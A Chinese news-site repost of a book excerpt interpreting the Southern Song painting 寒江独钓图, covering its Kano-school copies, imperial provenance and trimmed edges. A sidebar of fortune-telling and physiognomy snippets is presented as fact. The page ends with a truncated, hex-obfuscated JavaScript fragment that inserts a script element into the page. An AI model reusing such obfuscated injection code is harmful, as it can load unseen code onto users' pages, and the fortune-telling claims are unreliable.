首页 / 新京报 / 被截去头脚的《寒江独钓图》,到底画的是什么呢?

被截去头脚的《寒江独钓图》,到底画的是什么呢?

新京报 2022-06-29 01:19

早年流落于日本、现藏于东京国立博物馆中的南宋山水画代表作《寒江独钓图》,相传为马远所作,画者以极其简练的笔墨刻画了一位渔翁独钓江心的形象,笔触虽少,却有江水浩渺之感,展现出诗—般耐人寻味的意境——一人一舟一天地,传递出遗世而独立的萧然之态。

但金哲为在《画里浮生:中国画的隐秘记忆》中提到,2012年,东京国立博物院对这幅古画进行了修复,发现绢本上下端存在严重的横向裂纹,这说明这幅今天我们看到的画作,其实是被截去头脚后的余下部分。这幅画原本是什么样子的呢?被裁掉的部分长什么样呢?画作之中的钓者,又有何隐喻?

在《画里浮生:中国画的隐秘记忆》一书的自序中,金哲为这样说到,在中国古代,绘画往往被视为末技,画家也从来不是直接改变历史进程的那群人。然而在聚光灯照射不到的阴影处,他们用画笔记录当下、追忆往昔。借助一幅古画以及后人的题跋,我们得以回到一个尘封已久的历史现场。那里有一场王朝的兴衰,预示着几代人的升平或流离;又或许仅仅一次空山雨后,满地落红牵惹了寻幽者的情思。

透过一幅幅画卷,金哲为看到的都是活生生的人——而这正是古画最让他着迷的地方。他力图还原那个与画作对应的历史现场,潜入画中人的深层内心世界,“每幅画都指向一个特定的历史时期,解读画中情绪的过程实际是对特定时代气质和人物性格的追寻……虽然书中的场景和境遇的存在形式在今天已有了改变,但悲欢离合、得失沉浮、生老病死却是人类无法逃脱的命运。”

以下内容经上海古籍出版社授权节选自《画里浮生:中国画的隐秘记忆》,较原文略有删节修改,标题为编者所加。文中所用插图均来自该书。

原文作者 | 金哲为

《画里浮生:中国画的隐秘记忆》

,金哲为 著,上海古籍出版社,2022年4月。

1817年初的一天,22岁的狩野养信奉广岛大名浅野齐贤之命,对浅野氏家传的一幅南宋画作进行摹写。

这是一幅有魔力的画作。在它传入日本后的近三百年时间里,日本画坛最具盛名的狩野派为了它如痴如狂。

《寒江独钓图》,(传)〔南宋〕马远,绢本设色,26.7×50.6cm,东京国立博物馆藏。(《画里浮生:中国画的隐秘记忆》插图)

如同江湖人士对武林秘籍的推崇,狩野派传人无不以临摹《寒江独钓图》为画艺进阶的一大奥义。狩野派“三大画家”中的元信和探幽就留下了摹本,而这次终于轮到了养信,狩野派第八代传人中的佼佼者。

传南宋马远的原作构图简洁,除了一名舟中垂钓的男子和微漾的水纹,余皆留白。然而狩野家的高手们深知,愈是惜墨如金,就愈考验捕捉笔墨之间神韵的功力。

狂放不羁的元信在本已极简的画面上继续做减法,索性连船篷和渔蓑都删去了,钓者的模样也变得更恣意颓放,借原画之题画出了自己心中的浪人版渔父。

左:狩野养信画;右上:狩野元信画;右下:狩野探幽画。(《画里浮生:中国画的隐秘记忆》插图)

探幽是出家人,他性格温和,只是在人物的姿态和小舟的倾斜度上做了微调,给予了画面更加舒缓的情绪。

年少成名的养信则极度自负,竟力图做到完美复刻。事实上如果不是绢帛的色差,两幅画几乎可以说是真伪难辨。

《寒江独钓图》到底画的是什么呢?

在临摹的过程中,画家难免会映射进自己的影子,对原画做适当的变形。

有甚者,画得连原作者都不认识,却要说是学某某笔意。这时原画的本意已经不重要了,借题发挥才是临摹者的用意所在。

那幅传南宋马远的《寒江独钓图》到底画的是什么呢?也许有人会说当然画的是寒江独钓。然而其实这也不一定,甚至它自己可能就是在借题发挥。

先来仔细看看这幅画里几处最值得注意、却常被忽视的细节。

打扮精致的“渔夫”,整齐摆放的蓑笠。(《画里浮生:中国画的隐秘记忆》插图)

首先是钓者的模样。大冷天于寒江独钓,却穿单薄的长衫,戴复古的头巾,连鱼竿都那么精致,哪里是什么正经渔夫,分明是一个有财有闲的文人雅士,而且他是真的不怕冷。

其次是船篷上的渔蓑和斗笠。蓑笠是正经渔民遮风挡雨(雪)所用,在这里,它们被整整齐齐地摆放在显眼的位置,如同为了摆拍所刻意比出的造型。

回想上一篇的《雪渔图》,看一眼下一篇里的《江雪诗意图》,或者看看同是东京国立博物馆所藏的明朝朱端的《寒江独钓图》吧,画里的渔人无不是在寒江之上瑟瑟发抖。

哪个是文人士大夫的借题发挥,哪个是真正的寒江独钓,再明显不过了。

《寒江独钓图》,〔明〕朱端,绢本设色,171.9×109.0cm,东京国立博物馆藏。(《画里浮生:中国画的隐秘记忆》插图)

卸下渔蓑和斗笠的举动,是一个不着痕迹的暗示

“寒江独钓”的画题出自唐代柳宗元那首著名的《江雪》,原本抒发的是诗人的孤独与超脱。很多人在形容传马远画的这幅《寒江独钓图》时也用到了孤独的字眼,然而这几乎都是从画名出发、先入为主的理解。

如果抛开所有预先的设定,仅从画面来看,其实只是一种沉浸状态。

广阔的留白是浩渺而平静的烟波,船身微向人一方倾斜,漾出数条淡淡的水纹。钓者倾身注视鱼线的动向,仿佛屏息凝神,完全投入在垂钓的乐趣里。

画家为画面注入了温度和安定,用来冲淡“独钓寒江雪”的孤独与寒冷。理解了这一点再回过头看,那件被闲置在船篷上的渔蓑和斗笠,就更显得寓意深刻。

纵使是“斜风细雨”,也还是要“青箬笠,绿蓑衣”。而在这幅画里,连穿蓑戴笠的必要都没有。这里的钓者再也不是末世中不得志的文人,也不是风雪里瑟瑟发抖的渔民。

卸下渔蓑和斗笠的举动,是一个不着痕迹的暗示——暗示着一个昌明的治世,生活在其中的人有着安定从容的精神世界。

这也是郑谷的雪诗在后世不被欣赏的原因。《泉州府志》中记载北宋书法家刘涛的遭遇是一个典型的例子:

徽庙召入禁中,值大雪,令草书雪诗。涛书唐郑谷诗“乱飘僧舍茶烟湿”四句。上见其首书“乱”字,不怿,因问:“卿字孰师?”对曰:“臣无师。”不称旨而退。晚年困踬,读书灵泉院,自号灵泉山人。

——乾隆《泉州府志》卷五十四

难道真的是刘涛的“乱”字写得太丑,所以败了徽宗的兴致,甚至断送了自己的大好仕途吗?苏轼与刘涛交好,“尝跋其书,谓奇逸多才”(乾隆《泉州府志》卷五十四),所以这一猜想的可能性不大。真正的问题出在,在徽宗想象中的太平盛世里,怎么能下着郑谷那个末世里乱飘僧舍的大雪呢?

南宋皇帝历来对渔父生活有着谜之向往

画作上的钤印“辛未坤宁秘玩”告诉我们,它最早出自南宋皇城坤宁宫,是宁宗朝杨皇后的收藏。

其时马远尚未离世,加上他是最受宁宗和杨皇后喜爱的宫廷画师,又擅长在画中留白,很容易把这幅没有落款的画作归于他的名下。

既然是一件为皇家而作的作品,这就更加印证了前面讲到的画里的暗示。甚至不妨大胆猜测,画中文士模样的钓者,就像山径春行、月下赏梅、松下观瀑(《宫廷画师的宿命》)里一样,是宁宗本人。

南宋皇帝历来对渔父生活有着谜之向往:

谁云渔父是愚公,一叶为家万虑空。

轻破浪,细迎风。睡起蓬窗日正中。

——赵构《渔父词》

《蓬窗睡起图》,〔南宋〕佚名,绢本设色,24.8×52.3cm,台北“故宫博物院”藏(《画里浮生:中国画的隐秘记忆》插图)

这首词是高宗所作,字是孝宗所写,画的则是在柳岸蓬舟中一觉睡到正午、伸着懒腰打哈欠的渔父。

宁宗继承了祖辈们的这一传统,在马远为他所做的今日题为《宋帝命题册》中,就有这样一页改编自范成大《浯溪道中》诗意的画作:

拟把扁舟系绝壁,夹岸桃红柳烟碧。

看山看水到月明,卧听渔童吹短笛。

《宋帝命题册之听笛图》,〔南宋〕马远,绢本设色,28×27cm,私人藏。(《画里浮生:中国画的隐秘记忆》插图)

由此来看,《寒江独钓图》似乎是对这一传统的继承。

2012年,东京国立博物院对这幅古画进行了全面修复,发现绢本上下端存在严重的横向裂纹,这说明这幅今天我们看到的画作,其实是被截去头脚后的余下部分。而参考狩野元信(1476—1559)的摹本,这幅画应在传入日本后不久,就被裁成现在的样子。

日本人喜爱中国画,却不习惯展于几案的鉴赏方式。他们将带回的册页拼接,将长卷剪裁,装裱成挂轴悬于茶室的壁龛,可以一边饮茶,一边对画凝思。

这幅传为马远的《寒江独钓图》就是被裁剪的一例,马远之子马麟的这幅《夕阳山水》则是从册页被拼接成挂轴的典范。

拼接后的《夕阳山水》。《夕阳山水》,〔南宋〕马麟,绢本设色,51.4×26.6cm,根津美术馆藏。(《画里浮生:中国画的隐秘记忆》插图)

被裁掉的部分长什么样呢?如果对应“寒江独钓”的主题,大概画的是寒鸦老树,千山暮雪。可谁又能保证不是《蓬窗睡起图》和《听笛图》里的柳岸和暖阳?

或许他身下的江水并不寒冷,边上也原本是风摇柳岸,春暖花开。

原文/金哲为

摘编/安也

编辑/罗东

导语部分校对/柳宝庆

猜你喜欢

  • 目录:1、梦见人的手指的预兆2、梦见别人手指的预兆3、周公解梦梦见别人的手什么意思4、做梦梦见别人大拇指5、原版周公解梦梦见手梦见人的手指的预兆梦见别人的手指,预示着爱情运势不错,不过约会的机缘要由女性来掌握,万事才能够顺心如意。女人梦见别人的手指,预示..

    解梦2024-03-28
  • 目录:1、梦见被一只小狮子咬的预兆2、梦见很多只小狮子3、梦见狮子4、梦见一群小狮子5、梦见小狮子6、梦见长翅膀的小狮子的预兆梦见被一只小狮子咬的预兆1、梦见被小狮子抓咬的预兆梦见小狮子,表示新的事业,新的计划。如果你能好好把握,必定会给你带来成功。2、恋爱..

    解梦2024-03-28
  • 目录:1、面相晚年运看哪里,面相上哪里代表30岁到以后的命运?谢谢2、健康长寿的人面相3、面相与年龄的关系4、面相与年龄5、女人面相看流年什么意思6、如何从面相上,看一个人是否长寿?面相晚年运看哪里,面相上哪里代表30岁到以后的命运?谢谢可以说面相上从眉毛开始一直到..

    面相2024-03-28
  • 目录:1、两个眉毛连在一起2、眉毛连起来有什么说法3、面相中男人的眉毛双层好不好4、双重眉毛的人啥命5、双眉毛的人感情怎样?两个眉毛连在一起1、这很正常,眉毛连在一起的眉毛叫做”连心眉“。只是一个人的长相而已,和遗传有一定的关系。 连心眉,即眉心生有稀饥眉毛..

    面相2024-03-28
  • 目录:1、名字测两人缘份,怎样用名字测两个人有没有缘份2、名字算婚姻测试,双方姓名看两人是否相配?3、姓名姻缘测试的有几种?又都各自代表了什么样的含义呢?4、怎么通过名字看姻缘?5、男女姓名测试婚姻,从名字测你今生的姻缘?名字测两人缘份,怎样用名字测两个人有没有缘..

    面相2024-03-28
  • 目录:1、男人右脸有痣代表什么2、关于面部痣相图解男人一生分析3、男人脸上有痣说明什么男人右脸有痣代表什么右脸有痣说明男人的人生富贵运旺,痣的数量不同,说法也不同,如果在右脸上半部分长痣的话,男人有福气又很长寿,一生中的财运都很佳,而且无论是工作上还是..

    面相2024-03-28
  • 目录:1、腮帮子大的女人面相2、女人腮帮大面相好不好?3、大腮帮子面相腮帮子大的女人面相腮帮大的面相女人事业 腮骨宽的女人坚持力非常好,能够扛住任何压力,女人腮骨宽的,无论家里还是外面,都是亲历亲为,自己做事也非常果断并且有主见,不容易受人怂恿和唆使。个..

    面相2024-03-28
  • 目录:1、2024可以结婚吗?2、2024为什么不适合结婚3、2024年到底可不可以结婚4、2024年真的不适合结婚吗2024可以结婚吗?年新婚姻法规定男性不得早于二十二周岁,女性不得早于二十周岁结婚,这一规定旨在保护未成年人的身心健康,促进青年人的全面发展和家庭幸福。符合条..

    结婚吉日2024-03-28
  • 目录:1、在目前的国内球员中,有哪几个球员可以称之为“超巨”?2、李盈莹全运会上受伤,为什么全国各地都有球迷都表示关心?3、起名大全姓朱的女孩名字4、李盈莹是否比朱婷张常宁更厉害?5、你认为谁才是女排的颜值担当?6、刘晓彤的2014年世界女排大奖赛总决赛在目前的国内..

    面相2024-03-28
  • 目录:1、2024年1月最好黄道吉日2、一月份结婚的黄道吉日2024?3、2024年1月份结婚黄道吉日老黄历4、2024年1月份结婚黄道吉日有哪些?2024年1月最好黄道吉日年1月最佳黄道吉日为:2024年1月2日,2024年1月6日,2024年1月7日,2024年1月9日,2024年1月12日,2024年1月18日..

    结婚吉日2024-03-28
  • 目录:1、鼻梁矮的面相好不好命运如何2、男人鼻梁低面相会带来什么危害3、女人鼻梁低面相怎么看鼻梁矮的面相好不好命运如何山根低鼻梁也低矮,并且鼻头较大的,这就是葫芦鼻长有葫芦鼻面相的女子属于劳贱的面相,一生操劳无依,嫁的丈夫也是一事无成,自己毕生操劳养活..

    面相2024-03-28
  • 目录:1、一月份结婚的黄道吉日2024?2、1月领证吉日2024年3、2024年1月份结婚黄道吉日一月份结婚的黄道吉日2024?1、年1月有多个黄道吉日适合嫁娶,例如1月1日、1月6日、1月8日、1月12日、1月18日、1月20日、1月24日、1月26日和1月30日。2、年1月份适合结婚的黄道吉日包..

    结婚吉日2024-03-28
  • 目录:1、眉毛上有疤痕命运如何2、面相分析眉毛有疤的男人3、额头有疤痕的面相学解说眉毛上有疤痕命运如何1、眉骨上留疤,主有贵人相扶。贵人指指有一定权利、财力或是人品贵重之人,有贵人扶持是难得的喜事,在贵人提携下,对于仕途或财运会有很大进展。一般左眉骨有疤..

    面相2024-03-28
  • 目录:1、姓名配对软件,快手上明星名字配对是啥软件?2、苹果手机怎么下载安装软件啊3、姓名契合度配对下载,免费姓名配对4、情侣姓名配对软件,姓名配对免费测姻缘5、如何在苹果iPhone手机中下载安装Skype软件?姓名配对软件,快手上明星名字配对是啥软件?姓名配对软件:姓..

    姓名配对2024-03-28
  • 目录:1、额头有骨缝的人面相2、面相学,眉连有什么说法3、中医五行面相分类4、耳垂连腮是什么面相额头有骨缝的人面相额头骨缝是指人类头骨两侧额骨与头骨岩骨交界处的缝隙。据面相学家指出,额头骨缝的大小、形状、位置等都与个体的性格、命运等方面有着密切联系。这种..

    面相2024-03-28
  • 目录:1、20种旺夫生财极品女人面相2、面相哪个年龄代表脸上哪个部位3、从面相看20-60岁运势20种旺夫生财极品女人面相旺夫的女人的面相介绍如下:额头高的女人,是旺夫的。她们会是很开通的人,也是自给自足的。不会给另一半的人任何经济担负,反而能够是对方的一些幻想..

    面相2024-03-28
  • 目录:1、卜易居姓名配对测试,卜易居姓名缘分配对准吗2、男女姓名测试打分,网上姓名配对准吗?3、名字能看出两个的关系,看名字测两个人的关系,可信吗?4、姓名配对超准,网上姓名配对准不准?5、姓名配对测试准不准,姓名测试配对准吗?谢谢卜易居姓名配对测试,卜易居姓名缘分..

    姓名配对2024-03-28
  • 目录:1、给你解答一月出生的属猴人命运好吗2、属马女几月出生命更好,属马什么时辰出生富贵3、阳历1979年1月4号算命4、申猴人出生月的命运5、1997年属牛人出生月日时的命运给你解答一月出生的属猴人命运好吗此月出生的属猴人具有经济头脑,在事业上会有一番不错的成就。..

    命运2024-03-28
  • 目录:1、姓名匹配度,姓名配对2、情侣姓名配对测试,免费姓名配对缘分测试3、姓名配对测试两人关系4、测你未来另一半的姓名,微信小游戏测试你的另一半性什么姓名匹配度,姓名配对考验爱情的名字配对是男女爱情的开始。爱有多深,名字配对就有多远。在这个世界上他总是偷偷..

    姓名配对2024-03-28
  • 目录:1、属马人一生的命运属马的人生运势如何2、属马的年份是哪几年,各年份命运大解析?3、属马的是什么命4、属马人一生运势5、属马的一生命运,属马人一生的运势6、生肖马的人一生的命运是怎样的?属马人一生的命运属马的人生运势如何属马人的45岁婚姻生活上是有麻烦的,..

    命运2024-03-28
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();